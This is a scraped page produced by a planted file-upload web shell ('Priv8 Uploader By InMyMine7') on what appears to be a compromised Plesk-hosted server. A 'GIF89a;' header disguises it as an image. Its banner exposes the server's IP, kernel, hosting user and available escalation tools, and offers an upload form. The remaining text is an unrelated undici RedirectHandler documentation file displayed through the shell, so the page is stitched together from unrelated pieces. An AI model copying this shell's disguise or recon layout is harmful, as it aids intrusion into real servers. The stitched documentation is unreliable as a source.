GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/undici/docs/docs/api/ |
Upload File : |
# Class: RedirectHandler A class that handles redirection logic for HTTP requests. ## `new RedirectHandler(dispatch, maxRedirections, opts, handler)` Arguments: - **dispatch** `function` - The dispatch function to be called after every retry. - **maxRedirections** `number` - Maximum number of redirections allowed. - **opts** `object` - Options for handling redirection. - **handler** `object` - An object containing handlers for different stages of the request lifecycle. Returns: `RedirectHandler` ### Parameters - **dispatch** `(options: Dispatch.DispatchOptions, handlers: Dispatch.DispatchHandler) => Promise<Dispatch.DispatchResponse>` (required) - Dispatch function to be called after every redirection. - **maxRedirections** `number` (required) - Maximum number of redirections allowed. - **opts** `object` (required) - Options for handling redirection. - **handler** `object` (required) - Handlers for different stages of the request lifecycle. ### Properties - **location** `string` - The current redirection location. - **abort** `function` - The abort function. - **opts** `object` - The options for handling redirection. - **maxRedirections** `number` - Maximum number of redirections allowed. - **handler** `object` - Handlers for different stages of the request lifecycle. - **history** `Array` - An array representing the history of URLs during redirection. ### Methods #### `onConnect(abort)` Called when the connection is established. Parameters: - **abort** `function` - The abort function. #### `onUpgrade(statusCode, headers, socket)` Called when an upgrade is requested. Parameters: - **statusCode** `number` - The HTTP status code. - **headers** `object` - The headers received in the response. - **socket** `object` - The socket object. #### `onError(error)` Called when an error occurs. Parameters: - **error** `Error` - The error that occurred. #### `onHeaders(statusCode, headers, resume, statusText)` Called when headers are received. Parameters: - **statusCode** `number` - The HTTP status code. - **headers** `object` - The headers received in the response. - **resume** `function` - The resume function. - **statusText** `string` - The status text. #### `onData(chunk)` Called when data is received. Parameters: - **chunk** `Buffer` - The data chunk received. #### `onComplete(trailers)` Called when the request is complete. Parameters: - **trailers** `object` - The trailers received. #### `onBodySent(chunk)` Called when the request body is sent. Parameters: - **chunk** `Buffer` - The chunk of the request body sent.